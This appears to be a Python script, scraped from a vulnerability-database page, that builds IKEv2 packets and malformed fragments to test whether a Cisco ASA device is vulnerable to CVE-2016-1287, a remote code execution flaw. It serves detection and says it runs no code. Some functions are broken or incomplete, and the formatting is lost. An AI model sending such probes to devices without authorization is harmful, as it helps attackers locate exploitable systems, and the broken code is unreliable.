#!/usr/bin/python3
import random
import hexdump
import string
import socket
import struct
from sys import argv, exit
def ike_cipher(t_id, keylen=0):
ret = [t_id, 0]
def random_string(size):
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(size))
def create_nonce(nxt, nonce):
ret = bytearray()
ret.append(nxt)
ret.append(0)
ret.append(0) # len hi
ret.append(0) # len lo
for i in nonce:
ret.append(ord(i))
ret[2] = (len(ret) & 0xff00) >> 8
ret[3] = len(ret) & 0xff
return ret
def create_ke(nxt, group, data):
ret = bytearray()
ret.append(nxt)
ret.append(0) # reserved
ret.append(0) # len hi
ret.append(0) # len lo
ret.append((group & 0xff00) >> 8)
ret.append(group & 0xff)
ret.append(0)
ret.append(0)
for i in data:
ret.append(ord(i))
ret[2] = (len(ret) & 0xff00) >> 8
ret[3] = len(ret) & 0xff
return ret
def create_vendorid(vid):
ret = bytearray()
ret.append(0) # reserved
ret.append(0) # reserved
ret.append(0) # len hi
ret.append(0) # len lo
for i in vid:
ret.append(i)
ret[2] = (len(ret) & 0xff00) >> 8
ret[3] = len(ret) & 0xff
return ret
def create_proposal(transforms, integrities, groups, prfs, nxt, num):
tlist = []
attr = None
ret = bytearray()
for i in transforms:
t_id = i[0]
klen = i[1]
if klen > 0:
attr = create_trans_attr(14, klen)
else:
attr = None
tlist.append(create_transform(3, 1, t_id, attr))
for i in integrities:
tlist.append(create_transform(3, 3, i, None))
for i in groups:
tlist.append(create_transform(3, 4, i, None))
for i in prfs:
tlist.append(create_transform(3, 2, i, None))
tlist[-1][0] = 0
ret.append(nxt) # next payload
ret.append(0) # reserved
ret.append(0) # len hi
ret.append(0) # len lo
ret.append(num)
ret.append(1)
ret.append(0)
ret.append(len(tlist))
for i in tlist:
for j in i:
ret.append(j)
ret[2] = (len(ret) & 0xff00) >> 8
ret[3] = len(ret) & 0xff
return ret
def create_transform(t_next,t_type, t_id, t_attribs):
ret = bytearray()
ret.append(t_next) # next
ret.append(0) # reserved
ret.append(0) # len hi
ret.append(0) # len lo
ret.append(t_type)
ret.append(0) # reserved
ret.append((t_id & 0xff00) >> 8)
ret.append(t_id & 0xff)
if not t_attribs is None:
for a in t_attribs:
ret.append(a)
ret[2] = (len(ret) & 0xff00) >> 8
ret[3] = (len(ret) & 0xff)
return ret
def create_sa(nxt, proposal):
ret = bytearray()
ret.append(nxt)
ret.append(0)
ret.append(0) # len hi
ret.append(0) # len lo
for i in proposal:
ret.append(i)
ret[2] = (len(ret) & 0xff00) >> 8
ret[3] = len(ret) & 0xff
return ret
def create_trans_attr(attr_type, attr_val):
ret = bytearray()
top = 0x8000 + attr_type
ret.append((top & 0xff00) >> 8)
ret.append(top & 0xff)
ret.append((attr_val & 0xff00) >> 8)
ret.append(attr_val & 0xff)
return ret
def create_isakmp(ispi, xchg, first, sa, ke, nonce, vid):
ret = bytearray()
for i in ispi:
ret.append(i) # init SPI
for i in range(8):
ret.append(0) # resp SPI
ret.append(first)
ret.append(0x20)
ret.append(xchg)
ret.append(0x08)
ret.append(0) # message id
ret.append(0) # message id
ret.append(0) # message id
ret.append(0) # message id
ret.append(0) # len
ret.append(0) # len
ret.append(0) # len
ret.append(0) # len
for i in sa:
ret.append(i)
for i in ke:
ret.append(i)
for i in nonce:
ret.append(i)
for i in vid:
ret.append(i)
l = len(ret)
ret[24] = (l & 0xff000000) >> 24
ret[25] = (l & 0xff0000) >> 16
ret[26] = (l & 0xff00) >> 8
ret[27] = l & 0xff
return ret
def bytearray_sum(data):
l = len(data)
shift = l*8
ret = 0
while l >= 0:
ret = ret + (data[l] << shift)
shift = shift - 8
l = l - 1
def parse_sa(sa):
ret = dict()
ret['next_payload'] = sa[0]
ret['length'] = bytearray_sum(sa[2:3])
return ret
def parse_isakmp(isakmp):
ret = dict()
ret['init_spi'] = isakmp[0:7]
ret['resp_spi'] = isakmp[8:15]
ret['next_payload'] = isakmp[16]
ret['version'] = isakmp[17]
ret['exchange_type'] = isakmp[18]
ret['flags'] = isakmp[19]
ret['msg_id'] = isakmp[20:23]
ret['len'] = bytearray_sum(isakmp[24:25])
if ret['next_payload'] == 33:
ret['sa'] = parse_sa(isakmp[26:-1])
return ret
def create_frag_isakmp(irpi, rspi, nxt, xchg_type, flags, msg_id, frag_id, frag_seq, frag_last, data = None):
ret = bytearray()
for i in ispi:
ret.append(i)
for i in rspi:
ret.append(i)
ret.append(nxt)
ret.append(0x20)
ret.append(xchg_type)
ret.append(flags)
for i in msg_id:
ret.append(i)
ret.append(0) # len
ret.append(0)
ret.append(0)
ret.append(0) # end len
for i in frag(frag_id, frag_seq, frag_last, data=data, ispi=ispi, rspi=rspi, msg_id=msg_id):
ret.append(i)
l = len(ret)
ret[24] = (l & 0xff000000) >> 24
ret[25] = (l & 0xff0000) >> 16
ret[26] = (l & 0xff00) >> 8
ret[27] = l & 0xff
return ret
def create_e_and_a(ispi, rspi, msg_id, data):
ret = bytearray()
for i in ispi:
ret.append(i)
for i in rspi:
ret.append(i)
ret.append(46) # encrypted and authenticated
ret.append(0x20)
ret.append(34)
ret.append(0x08)
for i in msg_id:
ret.append(i)
ret.append(0) # len
ret.append(0) # len
ret.append(0) # len
ret.append(0) # len
ret.append(0) # E&A next
ret.append(0) # E&A critical
ret.append(0) # E&A len
ret.append(0) # E&A len
for i in data:
ret.append(ord(i))
ret[30] = ((len(data)+4) & 0xff00) >> 8
ret[31] = (len(data)+4) & 0xff
l = len(ret)
ret[24] = (l & 0xff000000) >> 24
ret[25] = (l & 0xff0000) >> 16
ret[26] = (l & 0xff00) >> 8
ret[27] = l & 0xff
return ret
def frag(frag_id, frag_seq, frag_last, data = None, ispi = None, rspi = None, msg_id = None):
ret = bytearray()
ret.append(0)
ret.append(0)
ret.append(0) # payload len
ret.append(0) # payload len
for i in frag_id:
ret.append(i)
ret.append(frag_seq)
ret.append(frag_last)
if not data is None:
for i in create_e_and_a(ispi, rspi, msg_id, data):
ret.append(i)
ret[2] = (len(ret) & 0xff00) >> 8
ret[3] = len(ret) & 0xff
return ret
def print_notify(notify_payload):
print("\tNext payload: ", end="")
if int(notify_payload[0]) == 0:
print("NONE")
else:
print(notify_payload[0])
print("\tCritical bit ", end="")
if int(notify_payload[1]) == 0:
print("Not Critical")
else:
print("Critical")
plen = struct.unpack("!h", notify_payload[2:4])[0]
print("\tPayload length: %d" % plen)
print("\tProtocol ID: ", end="")
if notify_payload[4] == 1:
print("IKE")
print("\tSPI Size: %d" % int(notify_payload[5]))
print("\tNotify Message Type: ", end="")
if struct.unpack("!h", notify_payload[6:8])[0] == 7:
print("Invalid Syntax")
else:
print("unknown")
print("[-] Not vulnerable... exiting.")
exit(1)
print("\tNotification DATA: ", end="")
if plen > 8:
print(notify_payload[8])
print("[-] Not vulnerable... exiting.")
else:
print("missing")
print("[+] Notification data is missing. ASA is vulnerable.")
if len(argv) < 2 or not argv[1].__contains__(":"):
print("usage: %s ip:port" % argv[0])
exit(1)
ip = argv[1].split(":")[0]
port = int(argv[1].split(":")[1])
print("""This tool is used to verify the presence of CVE-2016-1287, an unauthenticated remote code execution vulnerability affecting Cisco's ASA products.
No attempt will be made to execute code, this simply observes behavior of affected versions when malformed fragments are sent to the ASA.
Continue? [y/N] """)
if not input().lower() == "y":
exit(1)
transforms = [
[2, 0],
[3, 0],
[11, 0],
[12, 0],
[12, 192],
[12, 256],
[20, 0],
[20, 192],
[20, 256],
]
integrity = [1, 2, 12, 13, 14]
groups = [1, 2, 5, 14, 19, 20, 21, 24]
prf = [1, 2, 5, 6, 7]
prop = create_proposal(transforms, integrity, groups, prf, 0, 1)
sa = create_sa(34, prop)
cisco_vid = [ 0x40, 0x48, 0xb7, 0xd5, 0x6e, 0xbc, 0xe8, 0x85, 0x25, 0xe7, 0xde, 0x7f, 0x00, 0xd6, 0xc2, 0xd3 ]
nonce = create_nonce(43, random_string(32))
vid = create_vendorid(cisco_vid)
ke_group = 2
ispi = random_string(8)
ispi = bytearray()
ispi.append(0x66)
ispi.append(0x53)
ispi.append(0x54)
ispi.append(0x71)
ispi.append(0x45)
ispi.append(0x49)
ispi.append(0x58)
ispi.append(0x64)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
for i in range(3):
if ke_group == 1:
dhlen = 96
elif ke_group == 2:
dhlen = 128
elif ke_group == 5:
dhlen = 192
elif ke_group == 14:
dhlen = 256
elif ke_group == 19:
dhlen = 64;
elif ke_group == 20:
dhlen = 96
elif ke_group == 21:
dhlen = 132
else:
dhlen = 256
dhpub = random_string(dhlen)
ke = create_ke(40, ke_group, dhpub)
isakmp = create_isakmp(ispi, 34, 33, sa, ke, nonce, vid)
print("[*] Sending Initiator Request")
sock.sendto(isakmp, (ip, port))
resp, _ = sock.recvfrom(2048)
print("[*] Received Response")
# Valid SA
if resp[16] == 33:
print("[+] Valid SA found. Moving on")
break
print("[-] Invalid SA. Trying another...")
cisco = 0
c_frag = 0
#parsed_resp = parse_isakmp(resp)
resp_spi = resp[8:16]
msg_id = bytearray()
msg_id.append(0)
msg_id.append(0)
msg_id.append(0)
msg_id.append(1)
first_frag = create_frag_isakmp(ispi, resp_spi, 132, 35, 0x08, msg_id, [0,1], 1, 0 )
second_frag = create_frag_isakmp(ispi, resp_spi, 132, 35, 0x08, msg_id, [0,1], 2, 1, "BAADBAADBAADBAAD")
print("[*] Sending first fragment")
sock.sendto(first_frag, (ip, port))
print("[*] Sending second fragment")
sock.sendto(second_frag, (ip, port))
timeout = False
sock.settimeout(5.0)
try:
resp, _ = sock.recvfrom(2048)
except socket.timeout:
print("[*] IKE Fragment was dropped indicating the ASA is not vulnerable.")
timeout = True
#Check for notify payload
if resp[16] == 41:
print("[*] Notify Payload found. Printing Notify payload data.")
print_notify(resp[28:])
hexdump.hexdump(resp)
zzxxcc7788 关注了该漏洞
京公网安备 11010502034610号
暂无评论